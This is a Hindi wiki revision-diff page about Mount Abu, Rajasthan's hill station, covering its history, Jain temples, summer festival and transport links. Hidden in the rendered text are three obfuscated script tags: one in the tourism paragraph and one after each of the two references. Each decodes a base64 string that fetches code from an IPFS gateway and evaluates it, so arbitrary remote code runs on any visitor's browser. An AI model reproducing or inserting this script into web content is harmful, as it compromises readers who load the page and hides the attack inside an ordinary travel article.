"माउंट आबू" के अवतरणों में अंतर

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==स्थिति==
 
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माउंट आबू को [[राजस्थान]] का स्‍वर्ग भी माना जाता है। समुद्र तल से 1220 मीटर की ऊंचाई पर स्थित माउंट आबू राजस्थान का एकमात्र हिल स्टेशन है। [[नीलगिरि पहाड़ियाँ|नीलगिरि की पहाड़ियों]] पर बसे माउंट आबू की भौगोलिक स्थित और वातावरण राजस्थान के अन्य शहरों से भिन्न व मनोरम है। यह स्थान राज्य के अन्य हिस्सों की तरह गर्म नहीं है। माउंट आबू [[हिन्दू]] और [[जैन]] धर्म का प्रमुख तीर्थस्थल है। यहाँ का ऐतिहासिक मंदिर और प्राकृतिक ख़ूबसूरती पर्यटकों को अपनी ओर खींचती है।
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माउंट आबू को [[राजस्थान]] का स्‍वर्ग भी माना जाता है। समुद्र तल से 1220 मीटर की ऊँचाई पर स्थित माउंट आबू राजस्थान का एकमात्र हिल स्टेशन है। [[नीलगिरि पहाड़ियाँ|नीलगिरि की पहाड़ियों]] पर बसे माउंट आबू की भौगोलिक स्थित और वातावरण राजस्थान के अन्य शहरों से भिन्न व मनोरम है। यह स्थान राज्य के अन्य हिस्सों की तरह गर्म नहीं है। माउंट आबू [[हिन्दू]] और [[जैन धर्म]] का प्रमुख तीर्थस्थल है। यहाँ का ऐतिहासिक मंदिर और प्राकृतिक ख़ूबसूरती पर्यटकों को अपनी ओर खींचती है।
 
[[चित्र:Mount-Abu.jpg|thumb|left|अंग्रेज़ी शासन के प्रतिनिधि का मुख्यालय, माउंट आबू<br />Headquarters of British Agent, Mount Abu ]]
 
[[चित्र:Mount-Abu.jpg|thumb|left|अंग्रेज़ी शासन के प्रतिनिधि का मुख्यालय, माउंट आबू<br />Headquarters of British Agent, Mount Abu ]]
  
 
==इतिहास==
 
==इतिहास==
 
====गुर्जर तथा अर्बुदा-पर्वत====
 
====गुर्जर तथा अर्बुदा-पर्वत====
अर्बुदा (माउन्ट आबू) क्षेत्र के आस पास मध्यकाल में गुर्जरों का निवास रहा है। बहुत से शिलालेखों जैसे ''धनपाल की तिलकमंजरी'', में गुर्जरों तथा अर्बुदा पहाड़ का उल्लेख मिलता है।<ref>{{cite book|title=Tilakamañjarī of Dhanapāla: a critical and cultural study|author=Sudarśana Śarmā|publisher=Parimal Publications|year=2002|page=214}}</ref>6वीं सदी के बाद इन गुर्जरों ने राजस्थान तथा गुजरात के विभिन्न भागों में अपना राज्य स्थापित किया था। इस कारण ब्रिटिशकाल से पहले, [[गुजरात]] तथा [[राजस्थान]] को सम्मिलित रुप से गुर्जरदेश या गुर्जरत्रा (गुर्जर से रक्षित देश) कहा जाता था।<ref>{{cite book|title=The History and Culture of the Indian People: The classical age|author=Ramesh Chandra Majumdar|coauthor=Achut Dattatrya Pusalker, A. K. Majumdar, Dilip Kumar Ghose, Vishvanath Govind Dighe, Bharatiya Vidya Bhavan|publisher=Bharatiya Vidya Bhavan|year=1977|page=153}}</ref>   
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अर्बुदा (माउन्ट आबू) क्षेत्र के आस पास मध्यकाल में गुर्जरों का निवास रहा है। बहुत से शिलालेखों जैसे '''धनपाल की तिलकमंजरी''', में [[गुर्जर|गुर्जरों]] तथा अर्बुदा पहाड़ का उल्लेख मिलता है।<ref>{{cite book|title=Tilakamañjarī of Dhanapāla: a critical and cultural study|author=Sudarśana Śarmā|publisher=Parimal Publications|year=2002|page=214}}</ref>6वीं सदी के बाद इन गुर्जरों ने राजस्थान तथा [[गुजरात]] के विभिन्न भागों में अपना राज्य स्थापित किया था। इस कारण ब्रिटिश काल से पहले, गुजरात तथा राजस्थान को सम्मिलित रुप से गुर्जरदेश या गुर्जरत्रा (गुर्जर से रक्षित देश) कहा जाता था।<ref>{{cite book|title=The History and Culture of the Indian People: The classical age|author=Ramesh Chandra Majumdar|coauthor=Achut Dattatrya Pusalker, A. K. Majumdar, Dilip Kumar Ghose, Vishvanath Govind Dighe, Bharatiya Vidya Bhavan|publisher=Bharatiya Vidya Bhavan|year=1977|page=153}}</ref>   
  
 
===पुराण तथा अर्बुदा-पर्वत===
 
===पुराण तथा अर्बुदा-पर्वत===
पौराणिक कथाओं के अनुसार हिन्दू धर्म के तैंतीस करोड़ देवी देवता इस पवित्र पर्वत पर भ्रमण करते हैं। यह भी कहा जाता है कि महान संत [[वशिष्ठ]] ने पृथ्वी से असुरों के विनाश के लिए यहाँ यज्ञ का आयोजन किया था। [[जैन धर्म]] के चौबीसवें र्तीथकर भगवान [[महावीर]] भी यहाँ आए थे। उसके बाद से माउंट आबू जैन अनुयायियों के लिए एक पवित्र और पूज्यनीय तीर्थस्थल बना गया। [[पुराण|पुराणों]] में इस क्षेत्र को ''अर्बुदारण्य'' कहा गया है।  
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पौराणिक कथाओं के अनुसार हिन्दू धर्म के तैंतीस करोड़ देवी देवता इस पवित्र पर्वत पर भ्रमण करते हैं। यह भी कहा जाता है कि महान संत [[वशिष्ठ]] ने पृथ्वी से असुरों के विनाश के लिए यहाँ यज्ञ का आयोजन किया था। जैन धर्म के चौबीसवें र्तीथकर भगवान [[महावीर]] भी यहाँ आए थे। उसके बाद से माउंट आबू जैन अनुयायियों के लिए एक पवित्र और पूज्यनीय तीर्थस्थल बना गया। [[पुराण|पुराणों]] में इस क्षेत्र को '''अर्बुदारण्य''' कहा गया है।  
  
 
===अंग्रेज़-काल===
 
===अंग्रेज़-काल===
 
ऐसा कहा जाता है कि सिरोही के महाराजा ने माउंट आबू को [[राजपूताना]] मुख्यालय के लिए अंग्रेज़ों को पट्टे पर दे दिया। ब्रिटिश शासन में माउंट आबू मैदानी इलाकों की गर्मियों से बचने के लिए अंग्रेज़ों का पसंदीदा स्थान रहा था। माउंट आबू शुरू से ही साधु संतों का निवास स्थान रहा है।  
 
ऐसा कहा जाता है कि सिरोही के महाराजा ने माउंट आबू को [[राजपूताना]] मुख्यालय के लिए अंग्रेज़ों को पट्टे पर दे दिया। ब्रिटिश शासन में माउंट आबू मैदानी इलाकों की गर्मियों से बचने के लिए अंग्रेज़ों का पसंदीदा स्थान रहा था। माउंट आबू शुरू से ही साधु संतों का निवास स्थान रहा है।  
  
जैन वास्तुकला के सर्वोत्कृष्ट उदाहरण-स्वरूप दो प्रसिद्ध संगमरमर के बने मंदिर जो दिलवाड़ा या देवलवाड़ा मंदिर कहलाते हैं इस पर्वतीय नगर के जगत प्रसिद्ध स्मारक हैं। विमलसाह के मंदिर को एक अभिलेख के अनुसार राजा भीमदेव प्रथम के मंत्री विमलसाह ने बनवाया था। इस मंदिर पर 18 करोड़ रुपया व्यय हुआ था।
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जैन वास्तुकला के सर्वोत्कृष्ट उदाहरण-स्वरूप दो प्रसिद्ध संगमरमर के बने मंदिर जो दिलवाड़ा या देवलवाड़ा मंदिर कहलाते हैं इस पर्वतीय नगर के जगत प्रसिद्ध स्मारक हैं। विमलसाह के मंदिर को एक अभिलेख के अनुसार राजा भीमदेव प्रथम के मंत्री विमलसाह ने बनवाया था। इस मंदिर पर 18 करोड़ रुपया व्यय हुआ थे।
 
[[चित्र:Achalgarh-Fort-Mount-Abu.jpg|thumb|250px|left|[[अचलगढ़ क़िला माउंट आबू|अचलगढ़ क़िला]], माउंट आबू<br />Achalgarh Fort, Mount Abu]]
 
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==सांस्कृतिक जीवन==
 
==सांस्कृतिक जीवन==
माउंट आबू के सांस्कृतिक जीवन की झलक त्योहारों और उत्सवों पर ही देखने को मिलती है। प्रतिवर्ष जून में होने वाले समर फेस्टीवल यानी ग्रीष्म महोत्सव में तो यहाँ जैसे पूरा राजस्थान ही सिमट आता है। रंग-बिरंगी परंपरागत वेशभूषा में आए लोक कलाकारों द्वारा लोक नृत्य और संगीत की रंगारंग झांकी प्रस्तुत की जाती है। घूमर, गैर और धाप जैसे लोक नृत्यों के साथ डांडिया नृत्य देख सैलानी झूम उठते हैं। तीन दिन चलने वाले इस महोत्सव के दौरान नक्की झील में बोट रेस का आयोजन भी किया जाता है। शामे कव्वाली और आतिशबाजी इस फेस्टिवल का ख़ास हिस्सा हैं।
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माउंट आबू के सांस्कृतिक जीवन की झलक त्योहारों और उत्सवों पर ही देखने को मिलती है। प्रतिवर्ष जून में होने वाले समर फेस्टीवल यानी ग्रीष्म महोत्सव में तो यहाँ जैसे पूरा राजस्थान ही सिमट आता है। [[रंग]]-बिरंगी परंपरागत वेशभूषा में आए लोक कलाकारों द्वारा [[लोकनृत्य]] और [[संगीत]] की रंगारंग झांकी प्रस्तुत की जाती है। [[घूमर नृत्य|घूमर]], गैर और धाप जैसे लोक नृत्यों के साथ डांडिया नृत्य देख सैलानी झूम उठते हैं। तीन दिन चलने वाले इस महोत्सव के दौरान [[नक्की झील माउंट आबू|नक्की झील]] में बोट रेस का आयोजन भी किया जाता है। शामे कव्वाली और आतिशबाजी इस फेस्टिवल का ख़ास हिस्सा हैं।
 
==यातायात और परिवहन==
 
==यातायात और परिवहन==
 
====<u>वायु मार्ग</u>====
 
====<u>वायु मार्ग</u>====
निकटतम हवाई अड्डा [[उदयपुर]] यहाँ से 185 किलोमीटर दूर है। उदयपुर से माउंट आबू पहुंचने के लिए बस या टैक्सी की सेवाएं ली जा सकती हैं।
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निकटतम हवाई अड्डा [[उदयपुर]] यहाँ से 185 किलोमीटर दूर है। उदयपुर से माउंट आबू पहुँचने के लिए बस या टैक्सी की सेवाएँ ली जा सकती हैं।
 
[[चित्र:Camel-Cart-Mount-Abu.jpg|ऊँट गाड़ी, माउंट आबू <br /> Camel Cart, Mount Abu|thumb]]
 
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====<u>रेल मार्ग</u>====
 
====<u>रेल मार्ग</u>====
 
नज़दीकी रेलवे स्टेशन आबू रोड 28 किलोमीटर की दूरी पर है जो [[अहमदाबाद]], [[दिल्ली]], [[जयपुर]] और [[जोधपुर]] से जुड़ा है। माउंट आबू की पहाड़ से 50 मील उत्तर-पश्चिम में [[भिन्नमाल]] स्थित है।
 
नज़दीकी रेलवे स्टेशन आबू रोड 28 किलोमीटर की दूरी पर है जो [[अहमदाबाद]], [[दिल्ली]], [[जयपुर]] और [[जोधपुर]] से जुड़ा है। माउंट आबू की पहाड़ से 50 मील उत्तर-पश्चिम में [[भिन्नमाल]] स्थित है।
 
====<u>सड़क मार्ग</u>====
 
====<u>सड़क मार्ग</u>====
माउंट आबू देश के सभी प्रमुख शहरों से सड़क मार्ग के जरिए जुड़ा है। दिल्ली के [[कश्मीरी गेट]] बस अड्डे से माउंट आबू के लिए सीधी बस सेवा है। राजस्थान राज्य सड़क परिवहन निगम की बसें दिल्ली के अलावा अनेक शहरों से माउंट आबू के लिए अपनी सेवाएं मुहैया कराती हैं।
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माउंट आबू देश के सभी प्रमुख शहरों से सड़क मार्ग के जरिए जुड़ा है। दिल्ली के कश्मीरी गेट बस अड्डे से माउंट आबू के लिए सीधी बस सेवा है। राजस्थान राज्य सड़क परिवहन निगम की बसें दिल्ली के अलावा अनेक शहरों से माउंट आबू के लिए अपनी सेवाएं मुहैया कराती हैं।
  
 
==पर्यटन==
 
==पर्यटन==

10:43, 24 अप्रैल 2011 का अवतरण

माउंट आबू
Mount-Abu-Rajasthan.jpg
विवरण माउंट आबू राजस्थान का एकमात्र हिल स्टेशन है।
राज्य राजस्थान
ज़िला सिरोही ज़िला
मार्ग स्थिति माउंट आबू शहर सड़क द्वारा उदयपुर से 185 किलोमीटर, डबौक से 210 किलोमीटर, जयपुर से 505 किलोमीटर, जैसलमेर से 620 किलोमीटर, दिल्ली से 760 किलोमीटर और मुंबई से 765 किलोमीटर दूरी पर स्थित है।
हवाई अड्डा महाराणा प्रताप हवाई अड्डा, डबौक में 210 किलोमीटर है।
रेलवे स्टेशन आबू रोड रेलवे स्टेशन
बस अड्डा माउंट आबू
यातायात बिना मीटर की टैक्सी, ऑटो रिक्शा, साईकिल रिक्शा
क्या देखें माउंट आबू पर्यटन
क्या ख़रीदें राजस्थानी शिल्प का सामान, चांदी के आभूषण, संगमरमर पत्थर से बनी मूर्तियाँ
एस.टी.डी. कोड 02974
ए.टी.एम लगभग सभी
Map-icon.gif गूगल मानचित्र, महाराणा प्रताप हवाई अड्डा, डबौक
कब जाएँ फ़रवरी से जून और सितंबर से दिसंबर

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माउंट आबू माउंट आबू पर्यटन माउंट आबू ज़िला

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स्थिति

माउंट आबू को राजस्थान का स्‍वर्ग भी माना जाता है। समुद्र तल से 1220 मीटर की ऊँचाई पर स्थित माउंट आबू राजस्थान का एकमात्र हिल स्टेशन है। नीलगिरि की पहाड़ियों पर बसे माउंट आबू की भौगोलिक स्थित और वातावरण राजस्थान के अन्य शहरों से भिन्न व मनोरम है। यह स्थान राज्य के अन्य हिस्सों की तरह गर्म नहीं है। माउंट आबू हिन्दू और जैन धर्म का प्रमुख तीर्थस्थल है। यहाँ का ऐतिहासिक मंदिर और प्राकृतिक ख़ूबसूरती पर्यटकों को अपनी ओर खींचती है।

अंग्रेज़ी शासन के प्रतिनिधि का मुख्यालय, माउंट आबू
Headquarters of British Agent, Mount Abu

इतिहास

गुर्जर तथा अर्बुदा-पर्वत

अर्बुदा (माउन्ट आबू) क्षेत्र के आस पास मध्यकाल में गुर्जरों का निवास रहा है। बहुत से शिलालेखों जैसे धनपाल की तिलकमंजरी, में गुर्जरों तथा अर्बुदा पहाड़ का उल्लेख मिलता है।[1]6वीं सदी के बाद इन गुर्जरों ने राजस्थान तथा गुजरात के विभिन्न भागों में अपना राज्य स्थापित किया था। इस कारण ब्रिटिश काल से पहले, गुजरात तथा राजस्थान को सम्मिलित रुप से गुर्जरदेश या गुर्जरत्रा (गुर्जर से रक्षित देश) कहा जाता था।[2]

पुराण तथा अर्बुदा-पर्वत

पौराणिक कथाओं के अनुसार हिन्दू धर्म के तैंतीस करोड़ देवी देवता इस पवित्र पर्वत पर भ्रमण करते हैं। यह भी कहा जाता है कि महान संत वशिष्ठ ने पृथ्वी से असुरों के विनाश के लिए यहाँ यज्ञ का आयोजन किया था। जैन धर्म के चौबीसवें र्तीथकर भगवान महावीर भी यहाँ आए थे। उसके बाद से माउंट आबू जैन अनुयायियों के लिए एक पवित्र और पूज्यनीय तीर्थस्थल बना गया। पुराणों में इस क्षेत्र को अर्बुदारण्य कहा गया है।

अंग्रेज़-काल

ऐसा कहा जाता है कि सिरोही के महाराजा ने माउंट आबू को राजपूताना मुख्यालय के लिए अंग्रेज़ों को पट्टे पर दे दिया। ब्रिटिश शासन में माउंट आबू मैदानी इलाकों की गर्मियों से बचने के लिए अंग्रेज़ों का पसंदीदा स्थान रहा था। माउंट आबू शुरू से ही साधु संतों का निवास स्थान रहा है।

जैन वास्तुकला के सर्वोत्कृष्ट उदाहरण-स्वरूप दो प्रसिद्ध संगमरमर के बने मंदिर जो दिलवाड़ा या देवलवाड़ा मंदिर कहलाते हैं इस पर्वतीय नगर के जगत प्रसिद्ध स्मारक हैं। विमलसाह के मंदिर को एक अभिलेख के अनुसार राजा भीमदेव प्रथम के मंत्री विमलसाह ने बनवाया था। इस मंदिर पर 18 करोड़ रुपया व्यय हुआ थे।

अचलगढ़ क़िला, माउंट आबू
Achalgarh Fort, Mount Abu

सांस्कृतिक जीवन

माउंट आबू के सांस्कृतिक जीवन की झलक त्योहारों और उत्सवों पर ही देखने को मिलती है। प्रतिवर्ष जून में होने वाले समर फेस्टीवल यानी ग्रीष्म महोत्सव में तो यहाँ जैसे पूरा राजस्थान ही सिमट आता है। रंग-बिरंगी परंपरागत वेशभूषा में आए लोक कलाकारों द्वारा लोकनृत्य और संगीत की रंगारंग झांकी प्रस्तुत की जाती है। घूमर, गैर और धाप जैसे लोक नृत्यों के साथ डांडिया नृत्य देख सैलानी झूम उठते हैं। तीन दिन चलने वाले इस महोत्सव के दौरान नक्की झील में बोट रेस का आयोजन भी किया जाता है। शामे कव्वाली और आतिशबाजी इस फेस्टिवल का ख़ास हिस्सा हैं।

यातायात और परिवहन

वायु मार्ग

निकटतम हवाई अड्डा उदयपुर यहाँ से 185 किलोमीटर दूर है। उदयपुर से माउंट आबू पहुँचने के लिए बस या टैक्सी की सेवाएँ ली जा सकती हैं।

ऊँट गाड़ी, माउंट आबू
Camel Cart, Mount Abu

रेल मार्ग

नज़दीकी रेलवे स्टेशन आबू रोड 28 किलोमीटर की दूरी पर है जो अहमदाबाद, दिल्ली, जयपुर और जोधपुर से जुड़ा है। माउंट आबू की पहाड़ से 50 मील उत्तर-पश्चिम में भिन्नमाल स्थित है।

सड़क मार्ग

माउंट आबू देश के सभी प्रमुख शहरों से सड़क मार्ग के जरिए जुड़ा है। दिल्ली के कश्मीरी गेट बस अड्डे से माउंट आबू के लिए सीधी बस सेवा है। राजस्थान राज्य सड़क परिवहन निगम की बसें दिल्ली के अलावा अनेक शहरों से माउंट आबू के लिए अपनी सेवाएं मुहैया कराती हैं।

पर्यटन

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माउंट आबू राजस्थान का एकमात्र हिल स्टेशन है। माउंट आबू को राजस्थान का स्‍वर्ग भी माना जाता है। माउंट आबू में अनेक पर्यटन स्थल हैं। माउंट आबू हिन्दू और जैन धर्म का प्रमुख तीर्थस्थल है। माउंट आबू के ऐतिहासिक मंदिर और प्राकृतिक ख़ूबसूरती पर्यटको को अपनी ओर खींचती है। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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शोध

वीथिका

माउंट आबू
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Panoramic View of Mount Abu from the Himalayan Peak.

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संबंधित लेख

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सन्दर्भ

  1. Sudarśana Śarmā (2002) Tilakamañjarī of Dhanapāla: a critical and cultural study। Parimal Publications।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. Ramesh Chandra Majumdar (1977) The History and Culture of the Indian People: The classical age। Bharatiya Vidya Bhavan।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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